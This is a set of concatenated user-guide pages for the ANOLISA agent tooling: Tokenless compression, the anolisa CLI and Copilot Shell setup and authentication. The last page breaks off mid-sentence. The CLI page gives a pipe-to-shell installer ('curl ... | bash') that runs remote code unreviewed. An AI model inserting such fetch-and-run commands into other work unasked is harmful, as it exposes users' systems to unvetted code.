### No SLS JSONL record ```bash tokenless stats status test -e /var/log/anolisa/sls/ops/tokenless.jsonl ``` SLS is enabled by default, but Tokenless does not create the target file. A missing file causes a silent skip. A custom path must be under `/var/log/` or `/tmp/`. ## `retrieve` is empty or fails Check that: 1. The hash contains all 24 hexadecimal characters. 2. Compression did not use `--no-stash`. 3. Compression was active rather than dry-run. 4. The one-hour default TTL has not passed and the 10,000-entry capacity did not evict it. 5. Compression and retrieval use the same user and database path. 6. Compression stderr did not report a Stash write failure. ```bash ls -l ~/.tokenless/stash.db* env | grep '^TOKENLESS_STASH_DB=' ``` Retry with the same database explicitly: ```bash tokenless retrieve --stash-db ~/.tokenless/stash.db ``` Expired or never-successfully-written content cannot be recovered. ## Statistics exist but the prompt is not smaller First check the framework's response-delivery path in the [support matrix](framework-integration.md#support-matrix). Qoder and Qwen Code emit `additionalContext`; legacy Copilot Shell appends it; Codex intentionally retains the original result and adds only analysis or a compressed alternative. These paths can record a smaller candidate without reducing the final prompt. For Claude Code, response replacement requires version 2.1.121 or later. Older or unrecognized versions pass the original through. OpenClaw replaces persisted results, but TOON remains off unless `toon_compression_enabled=true`. ## Qoder plugin cache issue Use this section only when an upgrade produces: ```text python3: can't open file '/rewrite_hook.py' ``` Refresh the adapter: ```bash anolisa adapter disable tokenless qoder anolisa adapter enable tokenless qoder ``` Confirm that the cache has no unexpanded placeholder: ```bash grep -R -n 'QODER_TOKENLESS_HOOKS' \ ~/.qoder/plugins/cache/local/tokenless*/*/hooks.json 2>/dev/null ``` No output is expected. Fully exit and restart Qoder IDE afterwards. ## anolisa and RPM state disagree If `dnf remove` or `rpm -e` was run directly: ```bash sudo anolisa repair tokenless ``` Follow the repair plan. Only when the RPM is still present and the output explicitly asks to recreate the record, run: ```bash sudo anolisa forget tokenless sudo anolisa adopt tokenless ``` `forget` deletes only anolisa state; it does not uninstall the RPM. ## Upgrade and uninstall ### anolisa installation Upgrade: ```bash anolisa update tokenless anolisa adapter status tokenless anolisa doctor tokenless ``` For system mode: ```bash sudo anolisa update tokenless ``` Restart enabled agents after upgrading. Adapters normally do not need to be re-enabled. If status reports inconsistent resources, follow the diagnostic result before disabling and enabling again. Before uninstalling, list and disable every adapter: ```bash anolisa adapter status tokenless anolisa adapter disable tokenless anolisa uninstall tokenless ``` Use the same scope for system mode. In the current release, `--purge` only supports plan preview through `anolisa --dry-run uninstall --purge tokenless`; without `--dry-run`, it returns `NotImplemented` and does not uninstall the component or remove configuration, cache, or state. Use `anolisa uninstall tokenless` for an actual uninstall, and see [Clear data](configuration-and-privacy.md#clear-data) for local databases. ### npm installation Upgrade: ```bash npm install -g anolisa-tokenless@latest ``` npm refreshes adapter resources, but a plugin registered with a framework may still be an older copy. Run the target framework's `scripts/install.sh` again and restart the framework. Uninstall in this order: ```bash bash ~/.local/share/anolisa/adapters/tokenless//scripts/uninstall.sh npm uninstall -g anolisa-tokenless ``` After confirming that every npm-managed adapter was uninstalled, remove the resource copy from the user data directory: ```bash rm -rf -- ~/.local/share/anolisa/adapters/tokenless ``` Run this only after confirming that the directory belongs to this Tokenless npm installation. A manually installed cosh Extension must be separately confirmed and removed from `~/.copilot-shell/extensions/tokenless`. ### YUM/RPM installation Prefer management through the anolisa system scope. If anolisa does not own the installation record, disable adapters first, then run: ```bash sudo yum update tokenless sudo yum remove tokenless ``` Upgrade or removal does not automatically clear Tokenless runtime databases under the user home. ## If the issue remains Before sharing the following output, inspect and remove sensitive content: ```bash tokenless --version anolisa --version anolisa doctor tokenless anolisa adapter status tokenless tokenless stats status tokenless env-check --all --json ``` Do not attach `stats.db`, `stash.db`, or unreviewed `tokenless stats show` output. ===== docs/user-guide/en/token-saving/tokenless/user-manual.md ===== # Tokenless User Manual [中文版](../../../zh/token-saving/tokenless/user-manual.md) Tokenless is designed for tool-heavy AI agents. Its CLI compacts schemas and JSON responses, while its adapters can also rewrite shell commands, check tool dependencies, and pass compressed results to an agent. The exact effect depends on the host framework: some adapters replace the original result, while others add compressed context without removing the original. Start with the [Quick Start](QUICKSTART.md) if this is your first use. ## Build the standalone CLI from source Source builds are intended for development and debugging. The project currently validates and supports source builds on Linux only: ```bash git clone https://github.com/alibaba/anolisa.git cd anolisa/src/tokenless cargo build --release --locked -p tokenless-cli ./target/release/tokenless --version ``` This path produces only the standalone `tokenless` CLI. It does not install `rtk`, `toon`, or the agent integration resources. To use the complete feature set in an agent, install through the anolisa CLI as described in the [Quick Start](QUICKSTART.md). ## Capabilities and boundaries | Capability | Behavior implemented in the current code | Important boundary | |------------|------------------------------------------|--------------------| | Schema compression | Removes `title` and `examples`, removes fenced and inline code from descriptions, collapses whitespace, and truncates descriptions | Only available through the cosh and Qwen Code schema hooks; other users can call the CLI | | Response compression | Removes exact, case-sensitive debug-field names, `null`, empty strings/arrays/objects, and truncates values past configured limits | Accepts JSON; content-retrieval tools are intentionally skipped by adapters | | TOON encoding | Encodes JSON and keeps the JSON input when the estimated token count does not decrease | Whether TOON replaces or accompanies the original depends on the adapter | | Command rewriting | Calls `rtk rewrite` and submits the rewritten shell input when a rule is available | The command actually sent to the shell changes; unsupported or denied rewrites pass through | | Tool Ready | Checks declared binaries, versions, configuration, permissions, and optional dependencies | `--fix` installs only missing required dependencies and may change the environment | | Stash | Stores content removed by string, array, depth, or schema-description truncation | One-hour TTL and 10,000 live entries by default; other removed fields are not stashed | The implementation contains no fixed saving-rate guarantee. Results depend on the payload, adapter delivery semantics, and the share of the model context that came from tool data. Measure your own workload as described in [Measuring savings](measuring-savings.md). ## How Tokenless participates in a tool call After an adapter is enabled, a tool call may pass through these stages: ```text Before the tool: Tool Ready check → command rewrite After the tool: response compression → optional Stash → TOON encoding → statistics Before the model: schema compression ``` This is a capability map, not a pipeline that every framework runs. For example, OpenClaw disables TOON by default, Codex adds compressed context instead of replacing the original tool result, and only cosh and Qwen Code register schema compression. See [Framework integration](framework-integration.md). ## Behaviors to understand ### Installation does not enable every adapter `anolisa install tokenless` installs the component and its adapter resources. To make an agent use Tokenless automatically, also run: ```bash anolisa adapter enable tokenless ``` CLI-only use does not require an adapter. ### “Compression off” affects only compression operations With `compression_enabled=false` or `TOKENLESS_COMPRESSION_ENABLED=0`, `compress-schema`, `compress-response`, and `compress-toon`—whether called directly or through an adapter—still calculate predicted savings and may write statistics, but return the original input. They do not write Stash entries in this mode. This setting does not disable RTK command rewriting, Tool Ready checks, adapter execution, or retrieval. To stop all Tokenless behavior in an agent, disable the adapter: ```bash anolisa adapter disable tokenless ``` ### Reversible compression is conditional Active response and schema truncation stash the removed payload in `~/.tokenless/stash.db` by default and add a marker such as: ```text <> ``` The payload can be recovered through `tokenless retrieve` or the MCP `tokenless_retrieve` tool. Recovery is unavailable when: - `--no-stash` was used. - Compression was running in dry-run mode. - The Stash database was unavailable or a write failed. - The entry exceeded its TTL. - The 10,000-live-entry capacity evicted an older entry. - The caller uses a different Stash database path. Stash does not make all compression reversible. Removed `debug`/`trace` fields, `null` and empty values, schema `title`/`examples`, and Markdown formatting are not stored for retrieval. Validate critical payloads with representative data before enabling active compression. ### Processing errors usually fail open Compression and rewrite hooks normally return no modification when `tokenless` or `rtk` is missing, compression provides no savings, or an ordinary processing error occurs. Tool Ready is different: some adapters intentionally block a tool that is still `NOT_READY` after an auto-fix attempt. A Stash write failure may still allow lossy compression to continue. Command rewriting also changes the shell command submitted by the host. Most adapters replace the command input directly; Hermes blocks the first call and tells the agent to retry with the rewritten command. Validate important command workflows as well as compressed output. ## Supported agent frameworks | Framework | Integration | Current code path | |-----------|-------------|-------------------| | cosh | Extension | Tool Ready, rewrite, response + TOON, Schema; Cosh-NG has a replacement path, while legacy Copilot Shell appends additional context | | OpenClaw | Plugin | Tool Ready, `exec` rewrite, persisted-result replacement, optional TOON; no Schema | | Hermes | Plugin | Tool Ready, block-and-retry rewrite, result replacement with response + TOON; no Schema | | Qoder | Plugin | Tool Ready, rewrite, response + TOON through `additionalContext`; no Schema | | Claude Code | Marketplace plugin | Tool Ready, Bash rewrite, response replacement on Claude Code 2.1.121 or later; conditional TOON; no Schema | | Codex | Plugin | Tool Ready, rewrite, response/TOON analysis added as context; the original result is retained; no Schema | | Qwen Code | Extension | Tool Ready, rewrite, response + TOON through `additionalContext`, Schema | ## Find documentation by task | I want to | Document | |-----------|----------| | Install and verify for the first time | [Quick Start](QUICKSTART.md) | | Build the standalone CLI from source | [This page · Build the standalone CLI from source](#build-the-standalone-cli-from-source) | | Connect or switch an agent framework | [Framework integration](framework-integration.md) | | Compress, retrieve, or run MCP manually | [CLI reference](cli-reference.md) | | Inspect savings or content changes, or run a dual comparison | [Measuring savings](measuring-savings.md) | | Change settings or understand local data | [Configuration and data privacy](configuration-and-privacy.md) | | Fix missing statistics, adapter, or Stash issues | [Troubleshooting](troubleshooting.md) | | Upgrade or uninstall | [Troubleshooting · Upgrade and uninstall](troubleshooting.md#upgrade-and-uninstall) | ## Recommended rollout 1. Complete the [Quick Start](QUICKSTART.md) with non-sensitive test data. 2. Record a dry-run baseline for the same task. 3. Enable active compression and compare both output quality and savings. 4. Confirm that local-data and SLS behavior meets your requirements. 5. Enable the adapter for production agents. The `tokenless --help` output from the installed version is the final authority for CLI and configuration behavior. ===== docs/user-guide/en/troubleshooting.md ===== # Troubleshooting Common issues and solutions when using ANOLISA components. --- ## Diagnostic Tools ANOLISA provides built-in diagnostic commands to help identify and resolve problems. ### anolisa doctor Runs a comprehensive health check across all installed components: ```bash anolisa doctor ``` Checks include: - Component binary availability - Configuration file validity - Runtime dependencies (FUSE, btrfs, eBPF) - Adapter connectivity - Permission issues ### anolisa bug Generates a diagnostic report for filing bug reports: ```bash anolisa bug ``` This collects system info, component versions, configuration, and recent logs into a single report file. ### anolisa logs View component logs: ```bash # View logs for a specific component anolisa logs # Show warning and error records anolisa logs --severity warn # Show last N lines anolisa logs --limit 50 ``` --- ## Common Issues ### Permission Errors **Symptom**: `Permission denied` when running `anolisa install` **Cause**: Some components require system mode (root privileges). **Solution**: ```bash # For system-mode components (agentsight, agent-sec-core) sudo anolisa install # For user-mode components, ensure ~/.local/bin is writable ls -la ~/.local/bin/ ``` --- **Symptom**: `Permission denied` accessing `/dev/fuse` **Cause**: User not in the `fuse` group or device not available. **Solution**: ```bash # Add user to fuse group sudo usermod -aG fuse $USER # Verify device exists ls -la /dev/fuse ``` --- ### Component Installation Failures **Symptom**: `anolisa install tokenless` fails with network error **Solution**: ```bash # Inspect the detected environment anolisa env # Retry with verbose output anolisa --verbose install tokenless # Alternative: use YUM sudo yum install tokenless ``` --- **Symptom**: `cargo build` fails during source compilation **Solution**: ```bash # Ensure Rust toolchain is installed rustup show # Update to latest stable rustup update stable # Inspect the detected build environment anolisa env ``` --- ### Adapter Issues **Symptom**: Tokenless hook not activating in cosh **Solution**: ```bash # Verify hook installation ls ~/.config/cosh/hooks/ # Reinstall the hook /usr/share/tokenless/scripts/install.sh --cosh # Check cosh hook config cat ~/.config/cosh/config.toml | grep -A5 hooks ``` --- **Symptom**: ws-ckpt plugin not detected by OpenClaw **Solution**: ```bash # Reinstall the plugin ws-ckpt plugin install --runtime openclaw # Verify plugin registration anolisa status ws-ckpt # Check OpenClaw plugin directory ls ~/.config/openclaw/plugins/ ``` --- ### ws-ckpt Issues **Symptom**: `ws-ckpt checkpoint` fails with "not a btrfs filesystem" **Solution**: ```bash # Check filesystem type df -T /path/to/workspace # ws-ckpt will fall back to rsync if btrfs is unavailable # Ensure workspace path is correctly configured ws-ckpt config ``` --- **Symptom**: "workspace path must not be Agent startup directory" **Cause**: ws-ckpt workspace is set to the Agent's CWD or a parent directory. **Solution**: Change the workspace path to a dedicated project directory: ```bash ws-ckpt config set workspace.path /home/user/projects/my-project ``` --- **Symptom**: `ws-ckpt checkpoint` or `init` fails with "workspace root is an active mount point", or on older versions with "failed to rename original directory to backup: Device or resource busy (os error 16)" **Cause**: Initializing a workspace moves the original directory aside as a backup, and `rename(2)` fails with `EBUSY` on a directory that is itself a mount point. The usual trigger is mounting SkillFS in-place and then snapshotting the same path. **Solution**: Confirm whether the path is a mount point, unmount it, and retry: ```bash # Confirm whether it is a mount point findmnt /path/to/workspace # In-place SkillFS mount skillfs stop /path/to/workspace # Any other FUSE mount fusermount3 -u /path/to/workspace ws-ckpt checkpoint -w /path/to/workspace -s my-snapshot ``` Only the workspace root itself is rejected. A mount nested inside the workspace does not block `init`, but the mount stays attached to the backup directory moved aside during initialization while the new workspace only receives a plain copy of its contents — unmount nested mounts first, or keep mount points outside the workspace tree. Mounting SkillFS after the workspace is already initialized also leaves later snapshots working. --- ### SkillFS Issues **Symptom**: `skillfs mount` fails with "FUSE not available" **Solution**: ```bash # Install FUSE3 sudo yum install fuse3 fuse3-devel # Load FUSE kernel module sudo modprobe fuse # Verify ls /dev/fuse ``` --- ### AgentSight Issues **Symptom**: AgentSight shows no eBPF data **Cause**: Insufficient kernel capabilities or eBPF not supported. **Solution**: ```bash # Check kernel version (>= 5.4 recommended) uname -r # Inspect kernel capabilities, then diagnose the installed component anolisa env sudo anolisa --install-mode system doctor agentsight # AgentSight requires system mode sudo anolisa install agentsight ``` --- ## Getting Help If the above steps don't resolve your issue: 1. Run `anolisa bug` and attach the report 2. Check component-specific logs: `anolisa logs ` 3. File an issue on the ANOLISA GitHub repository ===== docs/user-guide/en/user-entrypoint/anolisa-cli.md ===== # anolisa CLI The `anolisa` CLI is the unified lifecycle entry point for ANOLISA components. It resolves component sources, keeps scoped installation records, delegates RPM transactions to the native package manager, and diagnoses or repairs drift. --- ## Installation ### Option A: Install script (recommended) ```bash curl -fsSL https://get.agentic-os.sh | bash ``` ### Option B: YUM (Alinux) ```bash sudo yum install anolisa ``` Verify installation: ```bash anolisa --version ``` --- ## Scope And Visibility `--install-mode user` writes under the current user's roots, while `--install-mode system` writes system state and normally requires root. When the option is omitted, root defaults to system mode and a regular user defaults to user mode. Read-only commands use a user-plus-system view. A regular user can therefore see and diagnose a system installation, and adapter discovery can use its published contract. Mutating commands still write only the explicitly selected scope. In particular, a user installation may coexist with a system installation of the same component. --- ## Commands ### install Install one component through the configured raw or RPM backend, or plan every component in the index: ```bash anolisa --install-mode user install sudo anolisa --install-mode system install anolisa install --all ``` An installation in the other scope does not make the selected scope "already installed." Reinstalling or changing an existing record is handled by lifecycle planning rather than silently overwriting it. ### uninstall Remove one installation from the selected scope: ```bash anolisa uninstall anolisa uninstall --purge sudo anolisa --install-mode system uninstall --remove-system-package ``` ANOLISA-owned files and managed RPM packages are removed by their owning backend. Adopted or observed system RPMs are left installed by default; use `--remove-system-package` only when native package removal is intended. ### update Update one component, every recorded component, the CLI binary, or run the read-only RPM update report: ```bash anolisa update anolisa update all anolisa update self anolisa update --check ``` `update all` does not update the CLI binary. Delegated members are merged into one native transaction where possible; each component keeps its own recovery journal and record. ### list and status Inspect the effective user-plus-system view: ```bash anolisa list anolisa list --installed anolisa status anolisa status ``` In a user view with records in both scopes, the user record is active and the system record remains visible as shadowed state. A system-mode view reads only the system root; it does not enumerate other users' state. ### doctor Run read-only health, dependency, service, state, and recovery-journal checks: ```bash anolisa doctor anolisa doctor anolisa --dry-run doctor ``` `doctor` scans every root in the current visibility view: user mode includes the user root and a readable system root, while system mode includes only the system root. It qualifies system repair suggestions with `sudo anolisa --install-mode system` when the current invocation cannot mutate that root. `--fix` is reserved in this release; follow the reported `fix_plan` explicitly. ### restart Restart services recorded for an installation in the selected scope: ```bash anolisa --install-mode user restart sudo anolisa --install-mode system restart ``` ### upgrade Plan or apply the system/RPM image upgrade. Raw-managed components are reported as skipped rather than migrated to another backend: ```bash anolisa --install-mode system --dry-run upgrade sudo anolisa --install-mode system upgrade sudo anolisa --install-mode system upgrade --target ``` ### adopt, repair, and forget Manage state without confusing package ownership: ```bash sudo anolisa --install-mode system adopt sudo anolisa --install-mode system repair anolisa --install-mode user forget sudo anolisa --install-mode system forget ``` `adopt` records an existing system RPM as delegated-adopted without claiming native removal authority. `repair` reconciles a scoped record with rpmdb or an interrupted journal. `forget` removes only the record in the selected scope and never performs package or owned-file removal; a user-scoped forget cannot delete a visible system record. ### adapter Manage component adapters: ```bash anolisa adapter scan anolisa adapter enable [framework] anolisa adapter disable [framework] anolisa adapter status [component] ``` ### logs and bug reports Inspect component logs or generate a diagnostic bundle: ```bash anolisa logs anolisa logs --limit 50 anolisa logs --severity warn anolisa bug ``` --- ## Recovery Behavior Install, uninstall, update, adopt, and repair write recovery intent in the selected state root before their lifecycle side effects. Native package operations are forward-only: if dnf may have committed but the ANOLISA record did not, the journal remains pending and `anolisa repair ` re-observes rpmdb. Owned-file operations keep verified backups and compensate in reverse order on failure. `forget` is an atomic record-only state update; it does not perform package/file side effects or create a recovery journal. `upgrade` remains a compatibility orchestrator rather than a planner/journal consumer. It refuses existing pending recovery and re-observes rpmdb after a transaction failure, but it does not create a per-component recovery journal. After an interrupted `upgrade`, run `anolisa doctor` and reconcile any reported component drift before starting another lifecycle mutation. Do not delete a pending journal merely to unblock a command. Run `doctor` to identify its scope and subject, then run the qualified `repair` command. A malformed or ambiguous journal is intentionally left pending for manual inspection. --- ## Global Options | Option | Description | |--------|-------------| | `--install-mode user\|system` | Select the mutation scope | | `--prefix ` | Override the selected scope's install prefix | | `--dry-run` | Print the plan without executing it | | `--json` | Emit machine-readable JSON | | `-v, --verbose` | Increase verbosity | | `-q, --quiet` | Suppress non-error output | | `--no-color` | Disable colored output | | `--version` | Show the CLI version | | `--help` | Show command help | --- ## Example Workflow ```bash curl -fsSL https://get.agentic-os.sh | bash anolisa env anolisa install cosh anolisa install tokenless anolisa adapter enable tokenless cosh anolisa doctor anolisa status ``` --- ## Configuration Registry settings are read from `/etc/anolisa/config.toml` in system mode or `~/.config/anolisa/config.toml` in user mode. Only the `[registry]` table is used for registry resolution: ```toml [registry] url = "https://registry.example.com/index.toml" cache_ttl_secs = 3600 offline_fallback = true ``` Backend selection and endpoints live in the corresponding `repo.toml` (`/etc/anolisa/repo.toml` or `~/.config/anolisa/repo.toml`). CLI flags override the operation being run; there is no `[install] mode` setting. --- ## See Also - [Installation Guide](../installation.md) - [Troubleshooting](../troubleshooting.md) ===== docs/user-guide/en/user-entrypoint/copilot-shell/QUICKSTART.md ===== # Quick Start > Welcome to Copilot Shell! This guide helps you get started with AI-powered coding and system administration in just a few minutes. By the end, you'll know how to use Copilot Shell for common development and operations tasks. ## Prerequisites Make sure you have: - A **terminal** on an Alibaba Cloud Linux (Alinux) machine - A code project or system to manage - One of the supported authentication methods configured (see [Authenticate](#step-2-authenticate) below) ## Step 1: Install ### Build from Source Requires [Node.js 20+](https://nodejs.org/download). Check your version with `node -v`. ```bash cd src/copilot-shell make build ``` After a successful build, the bundled output is available at `dist/cli.js`. ## Step 2: Authenticate When you start Copilot Shell for the first time, you'll need to configure authentication: ```bash cosh ``` Use the `/auth` command inside the session to choose your provider: ```bash /auth ``` ### Supported Providers | Provider | Description | |----------|-------------| | Alibaba Cloud Auth | Default method. Auto-detects ECS and launches Web authentication (browser link + QR code); in non-ECS environments, enter AK/SK directly. | | OpenAI Compatible | Supports DashScope, DeepSeek, Kimi, GLM, MiniMax, or any OpenAI-compatible endpoint | > [!TIP] > > To switch accounts or authentication method later, use the `/auth` command within a session. ## Step 3: Start Your First Session Launch Copilot Shell in any project directory: ```bash cd /path/to/your/project cosh ``` You'll see the welcome screen and session info. Type `/help` to view all available commands. > [!NOTE] > > You can also use the aliases `co` or `copilot` instead of `cosh`. ## Talking to Copilot Shell ### Ask Questions Copilot Shell analyzes your files and answers questions. Ask about the codebase: ``` Explain the directory structure of this project ``` Or ask about system status: ``` Show current disk usage and the top memory-consuming processes ``` > [!NOTE] > > Copilot Shell reads files on demand — no need to manually add context. > It also has built-in OS-level skills for system administration tasks. ### Making Code Changes Try a simple coding task: ``` Add a hello world function to the main file ``` Copilot Shell will: 1. Find the appropriate file 2. Show the proposed changes 3. Ask for your confirmation 4. Apply the modifications > [!NOTE] > > Copilot Shell always asks permission before modifying files. You can review > one by one, or enable "accept all" mode for the current session. ### System Administration Copilot Shell integrates OS-level skills for common operations tasks: ``` Check for any failed systemd services ``` ``` Analyze nginx access logs and find the top 10 IPs in the last hour ``` ``` Set up a cron job to clean /tmp every day at 3 AM ``` ### Working with Git Git operations become natural language conversations: ``` What files have I changed? ``` ``` Commit my changes with a descriptive message ``` ``` Create a new branch called feature/quickstart ``` ``` Help me resolve the merge conflicts ``` ### Fixing Bugs or Adding Features Describe your needs in natural language: ``` Add input validation to the user registration form ``` Or fix existing issues: ``` There's a bug: users can submit empty forms, help me fix it ``` Copilot Shell will: - Locate the relevant code - Understand the context - Implement the fix - Run available tests ### Entering Interactive Shell Use the `/bash` command to enter an interactive shell from within Copilot Shell: ``` /bash ``` Type `exit` to return to the Copilot Shell session. ## Common Commands | Command | Function | Example | |---------|----------|---------| | `cosh` | Launch Copilot Shell | `cosh` | | `/auth` | Switch authentication method | `/auth` | | `/hooks list` | View all registered hooks and status | `/hooks list` | | `/help` | Show help | `/help` or `/?` | | `/bash` | Enter interactive shell | `/bash` | | `/model` | Switch model | `/model` | | `/compress` | Replace chat history with summary to save tokens | `/compress` | | `/clear` | Clear screen | `/clear` (shortcut `Ctrl+L`) | | `/theme` | Switch theme | `/theme` | | `/language` | View or switch language settings | `/language` | | → `ui [lang]` | Set UI language | `/language ui zh-CN` | | → `output [lang]` | Set LLM output language | `/language output English` | | `/quit` | Exit | `/quit` or `/exit` | **Use shortcuts for efficiency** - Press `?` to see all keyboard shortcuts - Use Tab for command completion - Press ↑ to browse command history - Type `/` to see all slash commands ## Getting Help - **Within Copilot Shell**: Type `/help` or just ask "how do I..." - **Bug reports**: Submit an Issue in the project repository # Quick Start > 👏 Welcome to Copilot Shell! This quickstart guide will have you using AI-powered coding and system administration in just a few minutes. By the end, you'll understand how to use Copilot Shell for common development and operations tasks. ## Before you begin Make sure you have: - A **terminal** on an Alibaba Cloud Linux (Alinux) machine - A code project or system to manage - One of the supported authentication methods configured (see [Authenticate](#step-2-authenticate) below) ## Step 1: Install Copilot Shell ### RPM (recommended) ```bash sudo yum install copilot-shell ``` ### Build from source Requires [Node.js 20+](https://nodejs.org/download). You can check your version with `node -v`. ```bash cd src/copilot-shell make build ``` After a successful build, the bundled binary is available at `dist/cli.js`. ## Step 2: Authenticate When you start Copilot Shell for the first time, you'll need to configure authentication: ```bash cosh ``` Use the `/auth` command inside the session to choose your provider: ```bash /auth ``` ### Supported providers | Provider | Description | |----------|-------------| | Aliyun Authentication | Default. On ECS: auto-detects and launches web auth (browser link + QR code). No ECS: enter AK/SK directly. | | Qwen OAuth | Free tier with 1,000 requests/day — follow on-screen prompts | | Custom Provider | Any OpenAI-compatible endpoint — DashScope, DashScope Coding Plan, DeepSeek, Kimi, GLM, MiniMax, or your own | > [!tip] > > To switch accounts or providers later, use the `/auth` command within Copilot Shell. ## Step 3: Start your first session Open your terminal in any project directory and start Copilot Shell: ```bash cd /path/to/your/project cosh ``` You'll see the welcome screen with your session information and recent conversations. Type `/help` for available commands. > [!note] > > You can also use the aliases `co` or `copilot` instead of `cosh`. ## Step 4: Enable sandbox hooks (recommended) Copilot Shell ships with built-in sandbox-guard hooks that intercept tool calls and enforce security policies — preventing unauthorized file system access or dangerous operations. These hooks are not active until you install them. Inside Copilot Shell, run: ``` /hooks install ``` This command copies the bundled `sandbox-guard.py` script to `~/.copilot-shell/hooks/` and registers it in your user settings. You only need to run this once — the configuration is saved and persists across sessions. > [!note] > > This step requires `agent-sec-core` (linux-sandbox) to be installed at `/usr/local/bin/linux-sandbox`. When a dangerous command is detected, `sandbox-guard.py` wraps it inside the `linux-sandbox` binary for execution. If you built ANOLISA using the default `./scripts/build-all.sh`, `agent-sec-core` is included and installed automatically. > [!tip] > > To verify the hooks are active, run `/hooks list` inside Copilot Shell. You should see `sandbox-guard` and `sandbox-failure-handler` listed as enabled. ## Chat with Copilot Shell ### Ask your first question Copilot Shell will analyze your files and provide answers. You can ask about your codebase: ``` explain the folder structure ``` Or ask about system state: ``` show me the current disk usage and top memory consumers ``` > [!note] > > Copilot Shell reads your files as needed — you don't have to manually add context. It also has access to OS-level skills for system administration tasks. ### Make your first code change Try a simple coding task: ``` add a hello world function to the main file ``` Copilot Shell will: 1. Find the appropriate file 2. Show you the proposed changes 3. Ask for your approval 4. Make the edit > [!note] > > Copilot Shell always asks for permission before modifying files. You can approve individual changes or enable "Accept all" mode for a session. ### System administration Copilot Shell integrates with OS-level skills for common operations tasks: ``` check if there are any failed systemd services ``` ``` analyze the nginx access log for the top 10 IPs in the last hour ``` ``` set up a cron job to clean /tmp every day at 3am ``` ### Use Git with Copilot Shell Git operations become conversational: ``` what files have I changed? ``` ``` commit my changes with a descriptive message ``` ``` create a new branch called feature/quickstart ``` ``` help me resolve merge conflicts ``` ### Fix a bug or add a feature Describe what you want in natural language: ``` add input validation to the user registration form ``` Or fix existing issues: ``` there's a bug where users can submit empty forms - fix it ``` Copilot Shell will: - Locate the relevant code - Understand the context - Implement a solution - Run tests if available ### Drop into an interactive shell Use the `/bash` command to enter an interactive shell from within Copilot Shell: ``` /bash ``` Type `exit` to return to the Copilot Shell session. ### Other common workflows **Refactor code** ``` refactor the authentication module to use async/await instead of callbacks ``` **Write tests** ``` write unit tests for the calculator functions ``` **Update documentation** ``` update the README with installation instructions ``` **Code review** ``` review my changes and suggest improvements ``` > [!tip] > > **Remember**: Copilot Shell is your AI pair programmer and sysadmin assistant. Talk to it like you would a helpful colleague — describe what you want to achieve, and it will help you get there. ## Essential commands Here are the most important commands for daily use: | Command | What it does | Example | |---------|--------------|----------| | `cosh` | Start Copilot Shell | `cosh` | | `/auth` | Change authentication method | `/auth` | | `/hooks install` | Install sandbox-guard hooks (run once after install) | `/hooks install` | | `/hooks list` | Show all registered hooks and their status | `/hooks list` | | `/help` | Display help for available commands | `/help` or `/?` | | `/bash` | Drop into an interactive shell | `/bash` | | `/model` | Switch between configured models | `/model` | | `/compress` | Replace chat history with summary to save tokens | `/compress` | | `/clear` | Clear terminal screen | `/clear` (shortcut: `Ctrl+L`) | | `/theme` | Change visual theme | `/theme` | | `/language` | View or change language settings | `/language` | | → `ui [lang]` | Set UI interface language | `/language ui zh-CN` | | → `output [lang]` | Set LLM output language | `/language output Chinese` | | `/quit` | Exit Copilot Shell | `/quit` or `/exit` | ## Pro tips for beginners **Be specific with your requests** - Instead of: "fix the bug" - Try: "fix the login bug where users see a blank screen after entering wrong credentials" **Use step-by-step instructions** - Break complex tasks into steps: ``` 1. create a new database table for user profiles 2. create an API endpoint to get and update user profiles 3. build a webpage that allows users to see and edit their information ``` **Let Copilot Shell explore first** - Before making changes, let it understand your code: ``` analyze the database schema ``` **Save time with shortcuts** - Press `?` to see all available keyboard shortcuts - Use Tab for command completion - Press ↑ for command history - Type `/` to see all slash commands ## Getting help - **In Copilot Shell**: Type `/help` or ask "how do I..." - **Documentation**: Browse the [User Guide](../../README.md) - **Issues**: File an issue on the project repository ===== docs/user-guide/en/user-entrypoint/copilot-shell/authentication.md ===== # Authentication Copilot Shell supports multiple authentication methods for connecting to AI models. This guide covers the configuration and usage of each method. ## Authentication Methods Overview | Method | Use Case | Configuration | |--------|----------|---------------| | Alibaba Cloud Auth | Alibaba Cloud ECS or enterprise users | Auto-detect / AK-SK | | OpenAI Compatible | Third-party model endpoints | API Key + Base URL | ## Alibaba Cloud Authentication (Default) Alibaba Cloud authentication is the default method. It automatically selects the authentication flow based on the runtime environment. ### On ECS Instances Copilot Shell auto-detects the ECS environment and starts Web authentication: 1. Launch `cosh`; the system displays a browser link and QR code 2. Scan the code or open the link in a browser to complete authentication 3. After successful authentication, control returns to the terminal ### Non-ECS Environments Use AK/SK (AccessKey ID / AccessKey Secret) directly: 1. Launch `cosh` 2. Select "Alibaba Cloud Auth" 3. Enter your AccessKey ID and AccessKey Secret ### Model Selection After successful Alibaba Cloud authentication, use the `/model` command to switch between available models. Previously used models are recorded in `security.auth.aliyunModels` for quick switching. ## OpenAI Compatible Authentication Works with any OpenAI API-compatible endpoint, including: - **DashScope** (Alibaba Cloud Bailian) - **DeepSeek** - **Kimi** (Moonshot AI) - **GLM** (Zhipu AI) - **MiniMax** ### Configuration Steps 1. Launch `cosh` or run `/auth` 2. Select "OpenAI Compatible" 3. Provide the following: - **Base URL**: API endpoint (e.g., `https://dashscope.aliyuncs.com/compatible-mode/v1`) - **API Key**: The key from your provider - **Model name**: The model to use (e.g., `qwen3.7-max`) ### Via Configuration File Edit `~/.copilot-shell/settings.json` directly: ```json { "security": { "auth": { "selectedType": "openai-compatible", "apiKey": "sk-xxx", "baseUrl": "https://dashscope.aliyuncs.com/compatible-mode/v1", "openaiModel": "qwen3.7-max" } } } ``` ### Via Environment Variables ```bash export OPENAI_API_KEY="sk-xxx" export OPENAI_BASE_URL="https://dashscope.aliyuncs.com/compatible-mode/v1" ``` ## Model Providers Configuration Copilot Shell supports configuring multiple models per authentication type. Use the `modelProviders` field to preset multiple model options: ```json { "modelProviders": { "openai-compatible": [ { "name": "deepseek-chat", "baseUrl": "https://api.deepseek.com/v1", "apiKey": "sk-xxx" }, { "name": "qwen3.7-max", "baseUrl": "https://dashscope.aliyuncs.com/compatible-mode/v1", "apiKey": "sk-yyy" } ] } } ``` After configuration, use `/model` to quickly switch between preset models. ## Switching Authentication Use the `/auth` command at any time within a session: ``` /auth ``` The system will guide you through selecting a new method and completing setup. ## Enforced Authentication Type Administrators can force a specific authentication method via system-level configuration. In `/etc/copilot-shell/settings.json`: ```json { "security": { "auth": { "enforcedType": "aliyun" } } } ``` When the enforced type does not match the user's selection, the system prompts re-authentication. ## Troubleshooting **Authentication failure** - Check network connectivity - Confirm the API key has not expired - Verify the Base URL format (usually 